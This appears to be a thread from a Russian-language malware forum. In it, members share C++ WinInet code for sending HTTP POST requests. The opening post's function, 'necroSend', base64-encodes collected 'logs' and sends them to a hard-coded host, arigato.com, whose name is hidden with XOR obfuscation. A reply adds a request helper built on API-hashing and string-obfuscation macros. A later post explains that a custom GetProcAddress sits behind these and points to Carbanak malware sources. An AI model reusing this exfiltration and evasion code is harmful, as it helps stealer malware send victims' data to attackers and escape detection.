С++ http/s send post request wininet

Crypto Locker

(L3) cache
Забанен
Регистрация
22.10.2019
Сообщения
178
Реакции
105
Баллы
39
Пожалуйста, обратите внимание, что пользователь заблокирован
C++:
void necroSend(PCSTR GetLink, PCSTR Logs, SIZE_T LogsSize) {
    SIZE_T outsize;
    LPCSTR param = custom_base64Encode((LPBYTE)Logs, LogsSize, &outsize);

    CHAR* szReq = (CHAR*)_alloc(outsize + 6);
    wnsprintfA(szReq, outsize + 6, "logs=%s", param);

    HINTERNET hIntSession = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET hHttpSession = InternetConnectA(hIntSession, xorstr("arigato.com"), 80, 0, 0, INTERNET_SERVICE_HTTP, 0, NULL);
    HINTERNET hHttpRequest = HttpOpenRequestA(hHttpSession, "POST", GetLink, 0, 0, 0, INTERNET_FLAG_RELOAD, 0);

    const WCHAR* szHeaders = L"Content-Type: application/x-www-form-urlencoded";
    HttpSendRequestW(hHttpRequest, szHeaders, lstrlenW(szHeaders), (CHAR*)szReq, lstrlenA(szReq));

    InternetCloseHandle(hHttpRequest);
    InternetCloseHandle(hHttpSession);
    InternetCloseHandle(hIntSession);
    _free((CHAR*)param);
    _free((CHAR*)szReq);
}
 

Jeffs

HDD-drive
Пользователь
Регистрация
28.12.2018
Сообщения
33
Реакции
12
Баллы
8
Немного дополню:
C:
//char* host - 127.0.0.1
//char* path - "/index.php"
//char* req - "&test=1"
//BOOL HTTPS - TRUE - использование HTTPS, FALSE - HTTP
//BOOL GET - TRUE - GET-запрос. FALSE - POST
char* HTTPReq(char* host, char* path, char* req, BOOL HTTPS, BOOL GET)
{
    char szData[1024];

    HINTERNET hIntSession = API(WININET, InternetOpenA)("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hIntSession != NULL)
    {
        HINTERNET hConnect = API(WININET, InternetConnectA)(hIntSession, host, HTTPS ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
        if (hConnect != NULL)
        {
            HINTERNET hRequest = API(WININET, HttpOpenRequestA)(hConnect, GET ? XorStr("GET") : XorStr("POST"), path, NULL, NULL, 0, HTTPS ? INTERNET_FLAG_SECURE : INTERNET_FLAG_KEEP_CONNECTION, 1);
            if (hRequest != NULL)
            {
                char* headers = XorStr("Content-Type: application/x-www-form-urlencoded");

                if (API(WININET, HttpSendRequestA)(hRequest, headers, strLen(headers), (LPVOID)req, strLen(req)))
                {
                    for (;;)
                    {
                        DWORD dwByteRead;

                        if (API(WININET, InternetReadFile)(hRequest, szData, sizeof(szData) - 1, &dwByteRead))
                            break;
                    }
                }
                API(WININET, InternetCloseHandle)(hRequest);
            }
            API(WININET, InternetCloseHandle)(hConnect);
        }
        API(WININET, InternetCloseHandle)(hIntSession);
    }

    return szData;
}
Макросы API(...), XorStr(...) просто вырежете
 

Koklush

RAID-массив
Забанен
Регистрация
16.11.2019
Сообщения
92
Реакции
50
Баллы
21
Jabber
Пожалуйста, обратите внимание, что пользователь заблокирован
Сори за оффтоп*
Но зачем ,это сюда заливать? Это можно найти в гугле ~2 ссылка и ты найдешь нужную инфу.
Код особено не смотрел ,но зачем использовать HttpSendRequestW если ты char используешь?
Мало того ,что эт найти просто ,так ты льешь код с ошибками ТС?
 

Jeffs

HDD-drive
Пользователь
Регистрация
28.12.2018
Сообщения
33
Реакции
12
Баллы
8
Сори за оффтоп*
Но зачем ,это сюда заливать? Это можно найти в гугле ~2 ссылка и ты найдешь нужную инфу.
Код особено не смотрел ,но зачем использовать HttpSendRequestW если ты char используешь?
Мало того ,что эт найти просто ,так ты льешь код с ошибками ТС?
Ну хз, как вам, но мне было полезно.
До этого ебался с сокетами+openssl, совсем забыв о wininet
 

Crypto Locker

(L3) cache
Забанен
Регистрация
22.10.2019
Сообщения
178
Реакции
105
Баллы
39
Пожалуйста, обратите внимание, что пользователь заблокирован
Сори за оффтоп*
Но зачем ,это сюда заливать? Это можно найти в гугле ~2 ссылка и ты найдешь нужную инфу.
Код особено не смотрел ,но зачем использовать HttpSendRequestW если ты char используешь?
Мало того ,что эт найти просто ,так ты льешь код с ошибками ТС?
Это пример использования, самый наглядный на мой взгляд. По лучше чем реализация CopyFile во всяком случае.

а Wide функция это на будующее, вдруг нужно будет юникод слать, в перёд вы не смотрите мистер =)
 

Paramedic

RAM
Модератор
Регистрация
25.11.2019
Сообщения
104
Реакции
65
Баллы
23
Это пример использования, самый наглядный на мой взгляд. По лучше чем реализация CopyFile во всяком случае.

а Wide функция это на будующее, вдруг нужно будет юникод слать, в перёд вы не смотрите мистер =)
а причём здесь вообще моя реализация CopyFile? 🤨
 

Koklush

RAID-массив
Забанен
Регистрация
16.11.2019
Сообщения
92
Реакции
50
Баллы
21
Jabber
Пожалуйста, обратите внимание, что пользователь заблокирован
Это пример использования, самый наглядный на мой взгляд. По лучше чем реализация CopyFile во всяком случае.

а Wide функция это на будующее, вдруг нужно будет юникод слать, в перёд вы не смотрите мистер =)
Конечно ,костыли прикрываем тип оно так надо ,в будущем доделаем. А ,что мешало сразу под юникод все заточить и не делать бред код?
 

Koklush

RAID-массив
Забанен
Регистрация
16.11.2019
Сообщения
92
Реакции
50
Баллы
21
Jabber
Пожалуйста, обратите внимание, что пользователь заблокирован

Crypto Locker

(L3) cache
Забанен
Регистрация
22.10.2019
Сообщения
178
Реакции
105
Баллы
39
Пожалуйста, обратите внимание, что пользователь заблокирован
Конечно ,костыли прикрываем тип оно так надо ,в будущем доделаем. А ,что мешало сразу под юникод все заточить и не делать бред код?
Что нужно, то и заточил под юникод, к этому ты и доебался =)
 

Crypto Locker

(L3) cache
Забанен
Регистрация
22.10.2019
Сообщения
178
Реакции
105
Баллы
39
Пожалуйста, обратите внимание, что пользователь заблокирован
Конечно ,костыли прикрываем тип оно так надо ,в будущем доделаем. А ,что мешало сразу под юникод все заточить и не делать бред код?
Что нужно, то и заточил под юникод, к этому ты и доебался =)
Где тут костыль то?

что сложного заменить на:
const CHAR* szHeaders = "Content-Type: application/x-www-form-urlencoded";
HttpSendRequestA(hHttpRequest, szHeaders, lstrlenA(szHeaders), (CHAR*)szReq, lstrlenA(szReq));
 

Koklush

RAID-массив
Забанен
Регистрация
16.11.2019
Сообщения
92
Реакции
50
Баллы
21
Jabber
Пожалуйста, обратите внимание, что пользователь заблокирован
Что нужно, то и заточил под юникод, к этому ты и доебался =)
Где тут костыль то?

что сложного заменить на:
const CHAR* szHeaders = "Content-Type: application/x-www-form-urlencoded";
HttpSendRequestA(hHttpRequest, szHeaders, lstrlenA(szHeaders), (CHAR*)szReq, lstrlenA(szReq));
Это кст вопрос к тебе - почему ты не заменил - это? + Почему у тебя нет проверок и почему хендлы не закрываешь. P.s. оффтоп ,но я боюсь представить какой у тебя софт, если такие ошибки совершаешь
 

Koklush

RAID-массив
Забанен
Регистрация
16.11.2019
Сообщения
92
Реакции
50
Баллы
21
Jabber
Пожалуйста, обратите внимание, что пользователь заблокирован
Что нужно, то и заточил под юникод, к этому ты и доебался =)
Где тут костыль то?

что сложного заменить на:
const CHAR* szHeaders = "Content-Type: application/x-www-form-urlencoded";
HttpSendRequestA(hHttpRequest, szHeaders, lstrlenA(szHeaders), (CHAR*)szReq, lstrlenA(szReq));
Ещё раз взгялнул на код - зачем писать (CHAR*)szReq ,если szReq ,это и так CHAR* ??

+ Я не хочу тебя обижать ,но если ты не понимаешь почему - это бред код ,ну ,возможно, стоит иногда документацию почитать?(О использовании указателей, о том ,что хендлы - стоит закрывать ,о том ,что стоит использовать if ,чтобы понять стоит ли дальше продолжать работу функции и тд)
 
Последнее редактирование:

PlebsoVata

HDD-drive
Пользователь
Регистрация
05.10.2019
Сообщения
22
Реакции
2
Баллы
4
Немного дополню:
C:
//char* host - 127.0.0.1
//char* path - "/index.php"
//char* req - "&test=1"
//BOOL HTTPS - TRUE - использование HTTPS, FALSE - HTTP
//BOOL GET - TRUE - GET-запрос. FALSE - POST
char* HTTPReq(char* host, char* path, char* req, BOOL HTTPS, BOOL GET)
{
    char szData[1024];

    HINTERNET hIntSession = API(WININET, InternetOpenA)("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    if (hIntSession != NULL)
    {
        HINTERNET hConnect = API(WININET, InternetConnectA)(hIntSession, host, HTTPS ? INTERNET_DEFAULT_HTTPS_PORT : INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1);
        if (hConnect != NULL)
        {
            HINTERNET hRequest = API(WININET, HttpOpenRequestA)(hConnect, GET ? XorStr("GET") : XorStr("POST"), path, NULL, NULL, 0, HTTPS ? INTERNET_FLAG_SECURE : INTERNET_FLAG_KEEP_CONNECTION, 1);
            if (hRequest != NULL)
            {
                char* headers = XorStr("Content-Type: application/x-www-form-urlencoded");

                if (API(WININET, HttpSendRequestA)(hRequest, headers, strLen(headers), (LPVOID)req, strLen(req)))
                {
                    for (;;)
                    {
                        DWORD dwByteRead;

                        if (API(WININET, InternetReadFile)(hRequest, szData, sizeof(szData) - 1, &dwByteRead))
                            break;
                    }
                }
                API(WININET, InternetCloseHandle)(hRequest);
            }
            API(WININET, InternetCloseHandle)(hConnect);
        }
        API(WININET, InternetCloseHandle)(hIntSession);
    }

    return szData;
}
Макросы API(...), XorStr(...) просто вырежете
Если я правильно понимаю, то скорее всего макрос API сделан для какой-никакой, но обфускации вызовов винапи, как если не секрет ты добился этого через макросы и есть ли варианты получше?
 

Jeffs

HDD-drive
Пользователь
Регистрация
28.12.2018
Сообщения
33
Реакции
12
Баллы
8
Если я правильно понимаю, то скорее всего макрос API сделан для какой-никакой, но обфускации вызовов винапи, как если не секрет ты добился этого через макросы и есть ли варианты получше?
Через макросы просто удобней, под "капотом" кастомный GetProcAddress. Если интересно, покопай сурсы карбанака
 
Верх